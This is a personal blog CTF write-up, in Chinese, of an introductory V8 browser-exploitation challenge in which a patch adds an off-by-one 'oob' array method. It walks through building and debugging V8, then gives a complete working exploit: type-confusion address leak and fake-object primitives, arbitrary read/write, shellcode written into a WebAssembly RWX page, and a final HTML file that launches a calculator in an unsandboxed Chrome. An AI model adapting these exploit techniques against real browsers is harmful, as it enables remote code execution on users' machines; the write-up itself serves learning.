Loading... 博客很久没有更新了,wp 更是很久没有发过了。主要是最近的确没有刷什么题,比赛虽然打的还算多,但是都没有做什么有收获的题,所以都没有发 wp,毕竟没啥意思。不过上个星期的深育杯和 l3ctf 倒是都碰到了新东西,深育杯有一个 Jerry script pwn 和 fastjson pwn。jerryscript 这个之前津门杯也碰到了,但是没有找到 wp 就一直没去复现,所以一直没搞懂,这次又碰到了,既然有官方 wp,就尝试复现一下。fastjson 那个,确实没听说过,有机会也复现一下。l3ctf 则非常时髦,一个似乎是 window 内核 pwn,确实是超出知识面了,还有一个是带 llvm address sanitizer 的 pwn,具体由于时间不够也没仔细分析。不知道官方会不会发布 wp,希望可以跟着复现一下。看来最近能弄的东西还挺多,突然又有了明确的目标了,挺好。下一步先了解一下 Jerry Script 的基本利用方式吧。 v8 的利用是很早之前就想学了,不过一直觉得自己的知识储备可能还是不够,就没有开始。先是入门了一下设计模式和编译原理,最近又翻了翻侯捷老师的《STL 源码剖析》,了解了一些 C++ GP 的设计。但是确实一直没有明确的目标,所以进展比较慢,最后还是决定不管太多,直接开始上题,不得不说做题确实是最简单的学习方式了,通过这道题也是了解了一点 v8 的对象存储结构。不过此题倒是和 v8 的编译过程没有什么关系,之后再学习吧。 这道题是一道入门 v8 pwn 题,网络上相关的资料非常多,所以这篇 wp 也只是写给自己看看,建议参考[小语的 wp](https://www.xi4oyu.top/3b546c3b/)。 ### 基本的出题方法 给出一个靶机跑的浏览器以及相关依赖和一个 patch 文件。这个 patch 向 v8 中埋了洞,我们要做的就是理解并利用该漏洞。 ### 环境搭建 题目如果只给一个浏览器,那调试起来应该会非常痛苦,所以我们会根据题目的引擎版本自己构建一个对应的 debug 版本的引擎。整个构建过程比较繁琐。 安装一些依赖: ```shell sudo apt install binutils python2.7 perl socat git build-essential gdb gdbserver ``` 首先需要获取相关的工具链,主要需要的是 depot_tools 和 ninja。 depot_tools 可以从 github 上 clone 下来,然后加到 PATH 里面就行了 ```shell git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc ``` ninja 不建议 apt 安装,版本太老了,最好是编译安装 ```cpp git clone https://github.com/ninja-build/ninja.git cd ninja ./configure.py --bootstrap sudo cp ninja /usr/bin/ ``` 然后获取源码并编译 ```shell fetch v8 # 使用 depot_tools 拉取源码 cd v8 gclient sync # 更新源码,这里可以不执行,因为 depot_tools 拉取的已经是最新的了 # 编译可以直接使用提供脚本的编译,ninja 会自动使用全核进行编译 tools/dev/v8gen.py x64.debug && ninja -C out.gn/x64.debug # debug 版本 tools/dev/v8gen.py x64.release && ninja -C out.gn/x64.release # release 版本 ``` 编译出来的目标文件存于 out.gn/x64.*** 中,d8 就是引擎,直接运行会启动一个交互式的 shell,提供 js 文件就可以直接该脚本。 这个编译过程还是比较久的,为了不浪费太多人生,可以先不编译,之后直接编译题目所需的版本就可以了。 v8 同时提供里 gdb 的调试支持,位于 `v8/tools/` 中,在 `~/.gdbinit` 中加入以下两行 ```shell source /path_to_v8/tools/gdbinit source /path_to_v8/tools/gdb-v8-support.py ``` 就可以启用调试支持。 主要的有 `job` 命令,可以显示对应地址的中对象的细节,比如对一个函数对象执行 `job`,可以获得 ```shell pwndbg> job 0x2a21e74e24e1 0x2a21e74e24e1: [Function] in OldSpace - map: 0x2e2a97744379 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2a21e74c2109 <JSFunction (sfi = 0x3b2784bc3b29)> - elements: 0x0e279b5c0c71 <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x2a21e74e24a9 <SharedFunctionInfo 0> - name: 0x0e279b5c4ae1 <String[#1]: 0> - formal_parameter_count: 0 - kind: NormalFunction - context: 0x2a21e74c1869 <NativeContext[246]> - code: 0x118c79942001 <Code JS_TO_WASM_FUNCTION> - WASM instance 0x2a21e74e22e9 - WASM function index 0 - properties: 0x0e279b5c0c71 <FixedArray[0]> { #length: 0x3b2784bc04b9 <AccessorInfo> (const accessor descriptor) #name: 0x3b2784bc0449 <AccessorInfo> (const accessor descriptor) #arguments: 0x3b2784bc0369 <AccessorInfo> (const accessor descriptor) #caller: 0x3b2784bc03d9 <AccessorInfo> (const accessor descriptor) } - feedback vector: not available ``` 同时我们还可以通过在 js 文件中加入 `%SystemBreak()` 和 `%DebugPrint(object)`,前者可以起到断点的作用,后者可以打出 object 的地址和类型。 ### 漏洞分析 diff 文件如下 ```cpp diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc index b027d36..ef1002f 100644 --- a/src/bootstrapper.cc +++ b/src/bootstrapper.cc @@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, 1668: Builtins::kArrayPrototypeCopyWithin, 2, false); 1669: SimpleInstallFunction(isolate_, proto, "fill", 1670: Builtins::kArrayPrototypeFill, 1, false); 1671:+ SimpleInstallFunction(isolate_, proto, "oob", 1672:+ Builtins::kArrayOob,2,false); 1673: SimpleInstallFunction(isolate_, proto, "find", 1674: Builtins::kArrayPrototypeFind, 1, false); 1675: SimpleInstallFunction(isolate_, proto, "findIndex", diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc index 8df340e..9b828ab 100644 --- a/src/builtins/builtins-array.cc +++ b/src/builtins/builtins-array.cc @@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, 361: return *final_length; 362: } 363: } // namespace 364:+BUILTIN(ArrayOob){ 365:+ uint32_t len = args.length(); 366:+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); 367:+ Handle<JSReceiver> receiver; 368:+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION( 369:+ isolate, receiver, Object::ToObject(isolate, args.receiver())); 370:+ Handle<JSArray> array = Handle<JSArray>::cast(receiver); 371:+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); 372:+ uint32_t length = static_cast<uint32_t>(array->length()->Number()); 373:+ if(len == 1){ 374:+ //read 375:+ return *(isolate->factory()->NewNumber(elements.get_scalar(length))); 376:+ }else{ 377:+ //write 378:+ Handle<Object> value; 379:+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION( 380:+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1))); 381:+ elements.set(length,value->Number()); 382:+ return ReadOnlyRoots(isolate).undefined_value(); 383:+ } 384:+} 385: 386: BUILTIN(ArrayPush) { 387: HandleScope scope(isolate); diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h index 0447230..f113a81 100644 --- a/src/builtins/builtins-definitions.h +++ b/src/builtins/builtins-definitions.h @@ -368,6 +368,7 @@ namespace internal { 368: TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ 369: /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \ 370: TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ 371:+ CPP(ArrayOob) \ 372: \ 373: /* ArrayBuffer */ \ 374: /* ES #sec-arraybuffer-constructor */ \ diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index ed1e4a5..c199e3a 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { 1680: return Type::Receiver(); 1681: case Builtins::kArrayUnshift: 1682: return t->cache_->kPositiveSafeInteger; 1683:+ case Builtins::kArrayOob: 1684:+ return Type::Receiver(); 1685: 1686: // ArrayBuffer functions. 1687: case Builtins::kArrayBufferIsView: ``` 可以看到 patch 后给内建数组添加了一个 oob 方法,该方法的实现为 ```cpp --- a/src/builtins/builtins-array.cc +++ b/src/builtins/builtins-array.cc @@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, 361: return *final_length; 362: } 363: } // namespace 364:+BUILTIN(ArrayOob){ 365:+ uint32_t len = args.length(); 366:+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); 367:+ Handle<JSReceiver> receiver; 368:+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION( 369:+ isolate, receiver, Object::ToObject(isolate, args.receiver())); 370:+ Handle<JSArray> array = Handle<JSArray>::cast(receiver); 371:+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); 372:+ uint32_t length = static_cast<uint32_t>(array->length()->Number()); 373:+ if(len == 1){ 374:+ //read 375:+ return *(isolate->factory()->NewNumber(elements.get_scalar(length))); 376:+ }else{ 377:+ //write 378:+ Handle<Object> value; 379:+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION( 380:+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1))); 381:+ elements.set(length,value->Number()); 382:+ return ReadOnlyRoots(isolate).undefined_value(); 383:+ } 384:+} ``` len 维护了方法调用时的参数个数。注意类似于 C++,js 中函数调用时 this 指针也会作为第一个参数传入,所以参数长度为 1 也就是没有提供参数。该方法有两种操作模式,当调用参数为 0 时,即 ```javascript arr.oob() ``` 效果就是 ```javascript return arr[arr.length] ``` 而 ```javascript arr.oob(val) ``` 效果就是 ```javascript arr[arr.length] = val ``` 可以看到这里有一个典型的栅栏错误,可以越界一个单位进行读写。 ### 编译调试环境 题目浏览器使用的 v8 对应的 commit 版本为 `6dc88c191f5ecc5389dc26efa3ca0907faef3598` 先滚至题目的代码版本 ```shell git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598 git checkout git apply < oob.diff ``` 然后此题如果使用 debug 模式编译,调试时据说会出现问题,为了不浪费人生,我也没编译去看到底有什么问题,就用了 release 版本,按照语神的说法,为了使用 job 等调试命令,需要在 `out.gn/x64.release/args.gn` 文件加入以下内容: ```none v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true ``` 编译即可 ```shell tools/dev/v8gen.py x64.release && ninja -C out.gn/x64.release ``` ### 利用 漏洞就是 8 字节溢出任意读写,这个溢出可以做什么与数组的结构有关,这里也仿照小语的博客对一些数组的类型进行调试,也可以顺便学习以下调试的方法。 ```javascript var int_arr = [1, 2, 3]; var float_arr = [1.1, 1.2, 1.3]; var obj = {"a" : 1}; var object_arr = [obj, obj, obj]; var newed_arr = new Array(3); %DebugPrint(int_arr); %SystemBreak(); %DebugPrint(float_arr); %SystemBreak(); %DebugPrint(object_arr); %SystemBreak(); %DebugPrint(newed_arr); %SystemBreak(); ``` 保存脚本到 `debug.js`,使用 `gdb d8` 准备进行调试,首先设置参数 ```shell set args --allow-natives-syntax ./debug.js ``` 然后 `r` 即可。 执行流执行到 %DebugPrint(int_arr) 的时候,就会输出 int_arr 对象的地址和类型,执行到 %SystemBreak() 时,就会自动断下  对象地址使用 job 命令即可显示出对象的属性 ```text pwndbg> job 0x2f6f32c4dee1 0x2f6f32c4dee1: [JSArray] - map: 0x2fd1f0cc2d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x31020c111111 <JSArray[0]> - elements: 0x2f6f32c4ddf9 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)] - length: 3 - properties: 0x2c53d6f40c71 <FixedArray[0]> { #length: 0x2a585ac401a9 <AccessorInfo> (const accessor descriptor) } - elements: 0x2f6f32c4ddf9 <FixedArray[3]> { 0: 1 1: 2 2: 3 } ``` 可以看到 DebugPrint 出来的对象地址的最低位为 1,这是因为 32 位和 64 位的地址对齐保证最低位一定为 0,v8 便使用该位标记指针所指向的对象的属性,如果被指的对象是一个 js 对象,便在最低位置 1。 观察 int_arr 的空间分布,可以看到头部有一个 map 指针,这是 v8 用来实现动态类型的核心。map 对象维护了某一对象当前的类型,引用源码注释 ```cpp // All heap objects have a Map that describes their structure. // A Map contains information about: // - Size information about the object // - How to iterate over an object (for garbage collection) ``` 实际上 map 还会指导 v8 对某对象的各种操作。不难想到,如果能够伪造某对象的 map 指针,就可以实现类型混淆,达成进一步利用。 对于本题而言,为了实现修改 map,还需要了解 elements 指向的对象的结构。 同时也可见 elements 的地址是 `0x2f6f32c4ddf9`,对该指针执行 job,可得(我这里新开了一次调试,所以地址有变) ```shell pwndbg> job 0x04c54214ddf9 0x4c54214ddf9: [FixedArray] - map: 0x09dcb47c0851 <Map> - length: 3 0: 1 1: 2 2: 3 ``` ```shell pwndbg> telescope 0x04c54214ddf8 00:0000│ 0x4c54214ddf8 —▸ 0x9dcb47c0851 ◂— 0x9dcb47c01 01:0008│ 0x4c54214de00 ◂— 0x300000000 02:0010│ 0x4c54214de08 ◂— 0x100000000 03:0018│ 0x4c54214de10 ◂— 0x200000000 04:0020│ 0x4c54214de18 ◂— 0x300000000 05:0028│ 0x4c54214de20 —▸ 0x9dcb47c0801 ◂— 0x9dcb47c01 06:0030│ 0x4c54214de28 ◂— 0x300000000 07:0038│ 0x4c54214de30 —▸ 0x3ade51f451 ◂— 0x9a000009dcb47c05 ``` 可以看到 elements 指向的是一个 `FixedArray` 类维护了数组存储数据的区域,作为一个对象,头部也存储了一个 map。第二个字段则维护了数组的长度。考虑到我们只能溢出 8 个字节,这里无法实现有效的利用。 使用 `c` 继续执行,查看 float_arr 的内存环境 ```text pwndbg> job 0x04c54214df29 0x4c54214df29: [JSArray] - map: 0x310589b82ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x003ade511111 <JSArray[0]> - elements: 0x04c54214df01 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS] - length: 3 - properties: 0x09dcb47c0c71 <FixedArray[0]> { #length: 0x159e27e801a9 <AccessorInfo> (const accessor descriptor) } - elements: 0x04c54214df01 <FixedDoubleArray[3]> { 0: 1.1 1: 1.2 2: 1.3 } ``` ```shell pwndbg> telescope 0x04c54214df01-1 00:0000│ 0x4c54214df00 —▸ 0x9dcb47c14f9 ◂— 0x9dcb47c01 01:0008│ 0x4c54214df08 ◂— 0x300000000 02:0010│ 0x4c54214df10 ◂— 0x3ff199999999999a 03:0018│ 0x4c54214df18 ◂— 0x3ff3333333333333 04:0020│ 0x4c54214df20 ◂— 0x3ff4cccccccccccd 05:0028│ 0x4c54214df28 —▸ 0x310589b82ed9 ◂— 0x4000009dcb47c01 06:0030│ 0x4c54214df30 —▸ 0x9dcb47c0c71 ◂— 0x9dcb47c08 07:0038│ 0x4c54214df38 —▸ 0x4c54214df01 ◂— 0x9dcb47c14 ``` 可以看到这里 elements 指向的 `FixedDoubleArray` 类实例和 float_arr 紧邻,通过溢出 8 个字节可以直接修改 float_arr 的 map 指针,这样就可以实现类型混淆了。 继续向下执行,可以发现对象数组的 elements 也可以实现修改 map。 利用类型混淆,可以实现 leak。仍然利用上面的调试脚本,查看对象数组的内存结构 ```text pwndbg> job 0x04c54214dfc1 0x4c54214dfc1: [JSArray] - map: 0x310589b82f79 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x003ade511111 <JSArray[0]> - elements: 0x04c54214df99 <FixedArray[3]> [PACKED_ELEMENTS] - length: 3 - properties: 0x09dcb47c0c71 <FixedArray[0]> { #length: 0x159e27e801a9 <AccessorInfo> (const accessor descriptor) } - elements: 0x04c54214df99 <FixedArray[3]> { 0-2: 0x04c54214df49 <Object map = 0x310589b8ab39> } ``` 对象被存储在 elements 指向的 FixedArray 数组中 ```text pwndbg> job 0x04c54214df99 0x4c54214df99: [FixedArray] - map: 0x09dcb47c0801 <Map> - length: 3 0-2: 0x04c54214df49 <Object map = 0x310589b8ab39> pwndbg> telescope 0x04c54214df99-1 00:0000│ 0x4c54214df98 —▸ 0x9dcb47c0801 ◂— 0x9dcb47c01 01:0008│ 0x4c54214dfa0 ◂— 0x300000000 02:0010│ 0x4c54214dfa8 —▸ 0x4c54214df49 ◂— 0x710000310589b8ab ... ↓ 2 skipped 05:0028│ 0x4c54214dfc0 —▸ 0x310589b82f79 ◂— 0x4000009dcb47c01 06:0030│ 0x4c54214dfc8 —▸ 0x9dcb47c0c71 ◂— 0x9dcb47c08 07:0038│ 0x4c54214dfd0 —▸ 0x4c54214df99 ◂— 0x9dcb47c08 ``` 自然的,使用对象的指针来维护每个对象,所以如果把一个对象数组混淆为浮点数组,访问 object_array[i] 的时候,就会以浮点数的形式返回对象的地址。反之,向浮点数组中写入对象地址再混淆为对象数组,访问时就会直接把该地址作为一个对象返回了,由此可以写出 leak 函数和伪造对象函数 ```javascript var float_arr = [1.1]; var obj = {"a" : 1}; var object_arr = [obj]; var float_arr_map = float_arr.oob(); var object_arr_map = object_arr.oob(); // get the address of obj // @param {object} obj: obj to leak // @return {uint64}: address of obj function addressOf(obj) { object_arr[0] = obj; object_arr.oob(float_arr_map); let address = object_arr[0]; object_arr.oob(object_arr_map); return f2i(address); } // return a object which address is `address` // return object (*address); // @param {uint64} address // @return {object} function fakeObject(address) { float_arr[0] = i2f(address); float_arr.oob(object_arr_map); let obj = float_arr[0]; float_arr.oob(float_arr_map); return obj; } ``` 为了转换浮点数和地址,可以实现两个工具函数 ```javascript var buf = new ArrayBuffer(8); var float64 = new Float64Array(buf); var uint64 = new BigUint64Array(buf); // @param {float64} float_num // @return {uint64} function f2i(float_num) { float64[0] = float_num; return uint64[0]; } // @param {uint64} uint64_num // @return {float64} function i2f(uint64_num) { uint64[0] = uint64_num; return float64[0]; } ``` 既然可以 leak 和伪造对象了,就可以考虑任意地址读写了。我们可以在一个数组中伪造一个数组对象,leak 出该对象地址,通过之前实现的对象伪造就可以获得一个 elements 指向任意地址的数组了。通过该数组就可以实现任意地址读写。 ```javascript var rw_tool = [ // map float_arr_map, // prototype i2f(0n), // elements i2f(0xBEEFDEADn), // length i2f(0x1000000000n), 1.1, 1.2 ]; var rw_tool_addr = addressOf(rw_tool); console.log("rw_tool_addr: 0x" + rw_tool_addr.toString(16)); var arbitary_rw_obj = fakeObject(rw_tool_addr - 0x30n); // return *((uint64*) address) // @param {uint64} address // @return {uint64} function read64(address) { rw_tool[2] = i2f(address - 0x10n + 1n); return f2i(arbitary_rw_obj[0]); } // *((uint64*) address) = val // @param {uint64} address // @param {uint64} val function write64(address, val) { rw_tool[2] = i2f(address - 0x10n + 1n); arbitary_rw_obj[0] = i2f(val); } ``` 任意地址读写后的利用,可以通过 Linux 用户态 pwn 常用的 leak 后攻击各种 hook 指针劫持执行流,这种方式最重要的是要 leak 出进程的基址。一般的套路为,对于一个 js 数组 a=[1],在 `a->map->constructor->code` 的固定偏移处,存在一条指令将进程的地址 mov 到寄存器中,通过读该处的内存即可实现 leak。 不过这里也可以通过 shellcode 实现利用,与 wasm 有关。利用[这个网站](https://wasdk.github.io/WasmFiddle)可以生成一段 wasm 码,我们可以这样来生成一个函数对象 ```javascript var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; ``` 在 `f->shared_info->data->instance` 的固定偏移处(这个偏移据说与许多东西相关,可以通过调试得出,这里是 0x88),储存了一个 rwx 的内存段的地址,这个内存段本身是为了 f 的调用的,由于我们可以任意地址写,所以向这里写入 shellcode,调用 f 后就可以任意代码执行了。 首先 leak 出内存段地址 ```javascript addr_f = addressOf(f); console.log(f()); console.log("f_addr: 0x" + addr_f.toString(16)); var shared_info_addr = read64(addr_f - 1n + 0x18n) console.log("shared_info_addr: 0x" + shared_info_addr.toString(16)); var data_addr = read64(shared_info_addr -1n + 0x8n) console.log("data_addr: 0x" + data_addr.toString(16)); var instance_addr = read64(data_addr -1n + 0x10n) console.log("instance_addr: 0x" + instance_addr.toString(16)); var rwx_addr = read64(instance_addr - 1n + 0x88n) console.log("rwx_addr: 0x" + rwx_addr.toString(16)); ``` 然后需要生成一段 shellcode,这里使用了小语写的脚本生成 ```python #!/usr/bin/env python # coding=utf-8 # 小语写的脚本 from pwn import * def just8(data): size = len(data) real_size = size if size % 8 == 0 else size + (8 - size % 8) return data.ljust(real_size, '\x00') def to_js(data): ret = 'var sc_arr = [' for i in range(0, len(data), 8): if (i // 8) % 4 == 0: ret += '\n' x = u64(data[i:i+8]) ret += '\t' + hex(x) + 'n,' ret += '\n]\n' return ret def call_exec(path, argv, envp): sc = '' sc += shellcraft.pushstr(path) sc += shellcraft.mov('rdi', 'rsp') sc += shellcraft.pushstr_array('rsi', argv) sc += shellcraft.pushstr_array('rdx', envp) sc += shellcraft.syscall('SYS_execve') return sc context.os = 'linux' context.arch = 'amd64' sc = '' sc = call_exec('/usr/bin/xcalc', ['xcalc'], ['DISPLAY=:0']) print(sc) data = asm(sc) data = just8(data) print(to_js(data)) ``` 为了证明利用的完成,这里调用的是一个计算器,为了执行图形程序,需要设置 DISPLAY 环境变量,一般置为 0 即可。 执行脚本后可以得到这样一个数组 ```javascript var sc_arr = [ 0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n, 0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n, 0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n, 0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n, ]; ``` 之后如果直接使用之前实现的 write64 函数会出现一个段错误。小语说这是 `write64` FloatArray 对浮点数的处理方式造成的,当值以 0x7f 开头等高处的地址都会出现这种问题,小语说可以使用 DataView 来改写任意写的方式来解决了这个问题。 小语说 DataView 对象偏移 `+0x20` 处,存有一个 backing_store 指针,该指针指向真正存储数据的地址,改写这个指针即可任意读写,而且不会发生 FloatArray 出现的问题,他写了个 poc ```javascript var buffer = new ArrayBuffer(16); var data_view = new DataView(buffer); var buf_backing_store_addr = addressOf(buffer) - 1n + 0x20n; function write64_view(addr, value) { write64(buf_backing_store_addr, addr); data_view.setFloat64(0, i2f(value), true); } ``` 利用这种方式就可以写 shellcode 了。 ```javascript var dataview_buffer = new ArrayBuffer(sc_arr.length * 8); var data_view = new DataView(dataview_buffer); var buf_backing_store_addr = addressOf(dataview_buffer) -1n + 0x20n write64(buf_backing_store_addr, rwx_addr); for(let i = 0; i < sc_arr.length; i++) { data_view.setFloat64(i * 8, i2f(sc_arr[i]), true); } ``` 最后整理成为一个 html 文件 ```html <script> var float_arr = [1.1]; var obj = {"a" : 1}; var object_arr = [obj]; var float_arr_map = float_arr.oob(); var object_arr_map = object_arr.oob(); // get the address of obj // @param {object} obj: obj to leak // @return {uint64}: address of obj function addressOf(obj) { object_arr[0] = obj; object_arr.oob(float_arr_map); let address = object_arr[0]; object_arr.oob(object_arr_map); return f2i(address); } // return a object which address is `address` // return object (*address); // @param {uint64} address // @return {object} function fakeObject(address) { float_arr[0] = i2f(address); float_arr.oob(object_arr_map); let obj = float_arr[0]; float_arr.oob(float_arr_map); return obj; } var buf = new ArrayBuffer(8); var float64 = new Float64Array(buf); var uint64 = new BigUint64Array(buf); // @param {float64} float_num // @return {uint64} function f2i(float_num) { float64[0] = float_num; return uint64[0]; } // @param {uint64} uint64_num // @return {float64} function i2f(uint64_num) { uint64[0] = uint64_num; return float64[0]; } var rw_tool = [ // map float_arr_map, // prototype i2f(0n), // elements i2f(0xBEEFDEADn), // length i2f(0x1000000000n), 1.1, 1.2 ]; var rw_tool_addr = addressOf(rw_tool); console.log("rw_tool_addr: 0x" + rw_tool_addr.toString(16)); var arbitary_rw_obj = fakeObject(rw_tool_addr - 0x30n); // return *((uint64*) address) // @param {uint64} address // @return {uint64} function read64(address) { rw_tool[2] = i2f(address - 0x10n + 1n); return f2i(arbitary_rw_obj[0]); } // *((uint64*) address) = val // @param {uint64} address // @param {uint64} val function write64(address, val) { rw_tool[2] = i2f(address - 0x10n + 1n); arbitary_rw_obj[0] = i2f(val); } /* // *((uint64*) address) = val // @param {uint64} address // @param {uint64} val function write64_view(address, val) { write64(buf_backing_store_addr, address); // data_view.setBigUint64(0, val, true); data_view.setFloat64(0, i2f(val), true); } */ var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; addr_f = addressOf(f); console.log(f()); console.log("f_addr: 0x" + addr_f.toString(16)); var shared_info_addr = read64(addr_f - 1n + 0x18n) console.log("shared_info_addr: 0x" + shared_info_addr.toString(16)); var data_addr = read64(shared_info_addr -1n + 0x8n) console.log("data_addr: 0x" + data_addr.toString(16)); var instance_addr = read64(data_addr -1n + 0x10n) console.log("instance_addr: 0x" + instance_addr.toString(16)); var rwx_addr = read64(instance_addr - 1n + 0x88n) console.log("rwx_addr: 0x" + rwx_addr.toString(16)); var sc_arr = [ 0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n, 0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n, 0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n, 0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n, ]; var dataview_buffer = new ArrayBuffer(sc_arr.length * 8); var data_view = new DataView(dataview_buffer); var buf_backing_store_addr = addressOf(dataview_buffer) -1n + 0x20n write64(buf_backing_store_addr, rwx_addr); for(let i = 0; i < sc_arr.length; i++) { data_view.setFloat64(i * 8, i2f(sc_arr[i]), true); } f(); </script> ``` 直接起 chrome 会触发沙盒,无法执行 execve,本题本身不考察沙盒绕过,所以用无沙盒模式启动就可以了,即 ```shell ./chrome --no-sandbox ``` 拖入 exp,即可弹出计算器  ### reference > [小语的 wp](https://www.xi4oyu.top/3b546c3b) > > [关于 map](https://www.anquanke.com/post/id/256679) 最后修改:2021 年 12 月 16 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 4 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧
2 条评论
llvm address sanitizer 那题我是类似打got的思路打的,bss段上有函数指针
先改 got 然后劫持某个 real 指针再 rop 利用?我看到 r4kapig 也是这么打的。遗憾当时没想到哈哈哈